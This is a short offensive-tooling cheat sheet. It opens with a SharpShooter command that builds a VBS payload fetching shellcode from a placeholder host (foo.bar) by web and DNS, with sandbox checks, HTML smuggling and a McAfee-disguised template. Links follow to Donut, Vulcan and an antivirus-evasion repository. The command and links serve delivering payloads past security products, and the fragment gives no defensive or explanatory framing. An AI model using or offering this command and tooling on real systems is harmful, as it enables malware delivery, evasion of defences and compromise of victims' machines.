SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

Mehr

• https://github.com/Seabreg/Xeexe-TopAntivirusEvasion